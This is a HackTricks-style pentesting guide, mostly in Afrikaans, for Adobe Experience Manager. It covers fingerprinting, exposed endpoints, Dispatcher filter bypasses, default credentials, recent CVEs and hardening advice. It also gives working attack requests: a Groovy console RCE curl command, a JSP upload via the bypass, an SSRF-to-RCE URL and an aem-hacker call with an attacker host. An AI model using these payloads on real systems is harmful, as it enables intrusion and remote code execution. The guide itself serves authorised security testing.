5.7 KiB
Raw Blame History

AEM (Adobe Experience Manager) Pentesting

{{#include ../../banners/hacktricks-training.md}}

Adobe Experience Manager (AEM, deel van die Adobe Experience Cloud) is 'n ondernemings CMS wat bo-op Apache Sling/Felix (OSGi) en 'n Java Content Repository (JCR) loop. Vanuit 'n aanvaller se perspektief stel AEM-instansies baie dikwels gevaarlike ontwikkelings eindpunte, swak Dispatcher-reëls, standaard akrediteer en 'n lang stert van CVE's bloot wat elke kwartaal reggestel word.

Die kontrolelys hieronder fokus op extern bereikbare (unauth) aanval oppervlak wat voortdurend in werklike betrokkenhede verskyn (2022-2025).


1. Fingerprinting

$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1            # header added by AEM Dispatcher
X-Vary: Accept-Encoding

Ander vinnige aanwysers:

  • /etc.clientlibs/ statiese pad teenwoordig (gee JS/CSS terug).
  • /libs/granite/core/content/login.html aanmeldblad met die “Adobe Experience Manager” banier.
  • </script><!--/* CQ */--> kommentaar aan die onderkant van HTML.

2. Hoë-waarde nie-geoutentiseerde eindpunte

Pad Wat jy kry Aantekeninge
/.json, /.1.json JCR knope via DefaultGetServlet Dikwels geblokkeer, maar Dispatcher omseiling (sien hieronder) werk.
/bin/querybuilder.json?path=/ QueryBuilder API Lek van bladboom, interne pades, gebruikersname.
/system/console/status-*, /system/console/bundles OSGi/Felix konsole 403 per standaard; as blootgestel & akrediteer gevind ⇒ bundel-oplaai RCE.
/crx/packmgr/index.jsp Pakketbestuurder Laat geoutentiseerde inhoudspakkette toe → JSP payload oplaai.
/etc/groovyconsole/** AEM Groovy Konsole As blootgestel → arbitrêre Groovy / Java uitvoering.
/libs/cq/AuditlogSearchServlet.json Oudit logs Inligtingsontsluiting.
/libs/cq/ui/content/dumplibs.html ClientLibs dump XSS-vak.

Dispatcher omseiling truuk

Meeste produksie-webwerwe sit agter die Dispatcher (omgekeerde proxy). Sy filterreëls kan omseil word deur 'n toegelate statiese uitbreiding na 'n puntkomma of geënkodeerde nuwe lyn by te voeg:

GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1

'n Enkele versoek soos hierbo openbaar dikwels gebruikersprofielknope met e-posadresse. P-T Partners het goeie leiding oor hierdie swakheid gepubliseer. 【】


3. Algemene miskonfigurasies (nog steeds lewendig in 2025)

  1. Anonieme POST servlet POST /.json met :operation=import laat jou toe om nuwe JCR knope te plant. Om *.json POST in die Dispatcher te blokkeer, los dit op. 【】
  2. Wêreldleesbare gebruikersprofiele standaard ACL verleen jcr:read op /home/users/**/profile/* aan almal.
  3. Standaard akrediteer admin:admin, author:author, replication:replication.
  4. WCMDebugFilter geaktiveer ⇒ weerspieëlde XSS via ?debug=layout (CVE-2016-7882, steeds gevind op erfenis 6.4 installasies).
  5. Groovy Console blootgestel afstandkode-uitvoering deur 'n Groovy-skrip te stuur:
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json

4. Onlangse kwesbaarhede (dienspakket kadens)

Kwartaal CVE Aangetas Impak
Des 2024 CVE-2024-43711 6.5.21 en vroeër Onbehoorlike invoervalidasie → Arbitraire kode-uitvoering (vereis lae-priv akker). 【】
Des 2024 CVE-2024-43724/26 6.5.21 en vroeër DOM / Gestoor XSS in Move Page Wizard. 【】
Des 2023 CVE-2023-48452/68 ≤ 6.5.18 DOM-gebaseerde XSS via vervaardigde URL. 【】
Des 2022 CVE-2022-30683 ≤ 6.5.13 Crypto ontwerpfout → geheime ontsleuteling (benodig lae-priv akrediteer). 【】

Kontroleer altyd die APSB bulletin wat ooreenstem met die kliënt se dienspakket en vra die nuutste 6.5.22 of Cloud Service 2024.11.


5. Exploitasiestukke

5.1 RCE via dispatcher omseiling + JSP opgelaai

As anonieme skryf moontlik is:

# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded

:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import

Now request /content/evil.jsp die JSP loop met die AEM proses gebruiker.

5.2 SSRF na RCE (histories < 6.3)

/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console aem_ssrf2rce.py van aem-hacker outomatiseer die volle ketting. 【】


6. Gereedskap

  • aem-hacker Switserse leër enumerasie skrip, ondersteun dispatcher omseiling, SSRF opsporing, standaard-kredens kontrole en meer.
python3 aem_hacker.py -u https://target --host attacker-ip
```【】
* **Inhoud Brute-force**  herhalend versoek `/_jcr_content.(json|html)` om verborge komponente te ontdek.
* **osgi-infect**  laai kwaadwillige OSGi bundel op via `/system/console/bundles` as kredens beskikbaar is.

---

## 7. Versterking kontrolelys (vir jou verslag se aanbevelings)

1. Hou die instansie op die **nuutste kumulatiewe dienspakket** (soos van Jul 2025: 6.5.22).
2. Verwyder/roteer standaard rekeninge; afdwing SSO/SAML.
3. Versterk **Dispatcher filters**  weier `;`, geënkodeerde nuwe reëls, en `*.json` of `*.querybuilder.json` vir anonieme gebruikers.
4. Deaktiveer of beskerm consoles (`/system/console`, `/crx/*`, `/etc/groovyconsole`) met IP toelaat-lists.
5. Pas die *Anonieme Toestemming Versterking* pakket toe wat deur Adobe gestuur is.

## Verwysings

* Adobe Security Bulletin APSB24-69  “Veiligheidsopdaterings vir Adobe Experience Manager (Des 2024)”.
* 0ang3el  aem-hacker hulpmiddel (GitHub).
{{#include ../../banners/hacktricks-training.md}}